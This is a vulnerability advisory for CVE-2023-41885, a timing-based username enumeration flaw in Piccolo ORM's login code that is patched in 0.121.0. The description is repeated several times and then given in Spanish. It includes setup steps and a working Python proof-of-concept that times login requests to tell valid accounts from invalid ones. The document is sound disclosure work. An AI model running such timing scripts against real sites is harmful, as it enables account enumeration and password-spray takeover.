CVE-2023-41885

Piccolo is an ORM and query builder which supports asyncio. In versions 0.120.0 and prior, the implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on its own does not also enforce strong passwords, these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform. The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off, especially given the underlying login functionality for Piccolo based sites is open source. This issue has been patched in version 0.121.0.

Piccolo is an ORM and query builder which supports asyncio. In versions 0.120.0 and prior, the implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on its own does not also enforce strong passwords, these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform. The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off, especially given the underlying login functionality for Piccolo based sites is open source. This issue has been patched in version 0.121.0.

Piccolo is an ORM and query builder which supports asyncio. In versions 0.120.0 and prior, the implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on its own does not also enforce strong passwords, these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform. The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off, especially given the underlying login functionality for Piccolo based sites is open source. This issue has been patched in version 0.121.0.

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ The current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls)), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform. The impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform. The likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ This vulnerability relates to [this](https://github.com/piccolo-orm/piccolo/blob/master/piccolo/apps/user/tables.py#L191-L237) code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state. For example, if a user does not exist then `None` is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks. If your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives [here](https://skelmis.co.nz/posts/tbue/). ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ #### Piccolo Setup 1. In a fresh environment `pip install 'piccolo[all]'` and `piccolo asgi new` 2. For simplified testing purposes, in `piccolo_conf.py` modify Piccolo to use SQLite: ```python from piccolo.engine.sqlite import SQLiteEngine DB = SQLiteEngine() ``` 3. In the same file, add the required apps for session authentication. The file should look like the following: ```python from piccolo.engine.sqlite import SQLiteEngine from piccolo.conf.apps import AppRegistry DB = SQLiteEngine() APP_REGISTRY = AppRegistry( apps=[ "home.piccolo_app", "piccolo_admin.piccolo_app", "piccolo_api.session_auth.piccolo_app", "piccolo.apps.user.piccolo_app", ] ) ``` 4. Run the following migrations: ```text piccolo migrations forwards user piccolo migrations forwards session_auth ``` 5. Within `app.py`, mount `session_login` at the `/login` path as follows: ```python from piccolo_api.session_auth.endpoints import session_login app.mount("/login", session_login()) ``` 6. Create a new user using `piccolo user create`, making a note of the username and password for later steps. #### Exploitation The following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report. ```python import asyncio import time from collections import defaultdict import httpx number_of_attempts = 50 # Set this to the username from step 6. valid_username = "skelmis" invalid_username = "invalid" data = defaultdict(lambda: []) # Ensure this points to your current enviroment local_base_url = "http://127.0.0.1:8000" # Set this to the password from step 6. valid_password = "disobey-blunt-kindly-postbox-tarantula" invalid_password = "cabana-polar-secrecy-neurology-pacific" async def make_request(username, password, session: httpx.AsyncClient): start_time = time.time() resp = await session.post( f"{local_base_url}/login", json={"username": username, "password": password}, follow_redirects=True, ) end_time = time.time() if username == valid_username and password == valid_password: # Just sanity check expected passes are passing assert resp.status_code == 200 resultant_time = end_time - start_time data[f"{username}|{password}"].append(resultant_time) async def main(): async with httpx.AsyncClient() as client: # This is the baseline correct request for _ in range(number_of_attempts): await make_request(valid_username, valid_password, client) await asyncio.sleep(0.1) # This is for a valid user but invalid password for _ in range(number_of_attempts): await make_request(valid_username, invalid_password, client) await asyncio.sleep(0.1) # This is for an invalid user and password for _ in range(number_of_attempts): await make_request(invalid_username, invalid_password, client) await asyncio.sleep(0.1) r_1 = data[f"{valid_username}|{valid_password}"] r_2 = data[f"{valid_username}|{invalid_password}"] r_3 = data[f"{invalid_username}|{invalid_password}"] r_1_sum = sum(r_1) / len(r_1) r_2_sum = sum(r_2) / len(r_2) r_3_sum = sum(r_3) / len(r_3) print( f"Average time to response as a valid user with a valid password: {r_1_sum}" ) print( f"Average time to response as a valid user with an invalid password: {r_2_sum}" ) print( f"Average time to response as an invalid user with an invalid password: {r_3_sum}" ) if __name__ == "__main__": asyncio.run(main()) ``` N.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination #### Analysis The following is the output from the PoC against `pip install piccolo`  The following is the output from the PoC against `pip install git+https://github.com/piccolo-orm/piccolo.git`.  I have included the results from both versions to highlight that this issue is not as a result of [this](https://github.com/piccolo-orm/piccolo/pull/881) pull request but as a result of the underlying logic in usage. Both of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a [password spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) using common passwords in order to takeover user accounts on the platform. ### Impact _What kind of vulnerability is it? Who is impacted?_ This is an information disclosure vulnerability. It would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.

Piccolo es un ORM y un generador de consultas que admite asyncio. En las versiones 0.120.0 y anteriores, la implementación de `BaseUser.login` filtra suficiente información a un usuario malicioso para que pueda generar con éxito una lista de usuarios válidos en la plataforma. Como Piccolo por sí solo no exige contraseñas seguras, es probable que estas listas de cuentas válidas se utilicen en un ataque de pulverización de contraseñas con el resultado de un intento de apoderarse de las cuentas de usuario en la plataforma. El impacto de esta vulnerabilidad es menor ya que requiere encadenamiento con otros vectores de ataque para obtener algo más que una simple lista de usuarios válidos en la plataforma subyacente. La probabilidad de que se produzca esta vulnerabilidad es posible ya que requiere habilidades mínimas para lograrla, especialmente dado que la funcionalidad de inicio de sesión subyacente para los sitios basados ??en Piccolo es de código abierto. Este problema se solucionó en la versión 0.121.0.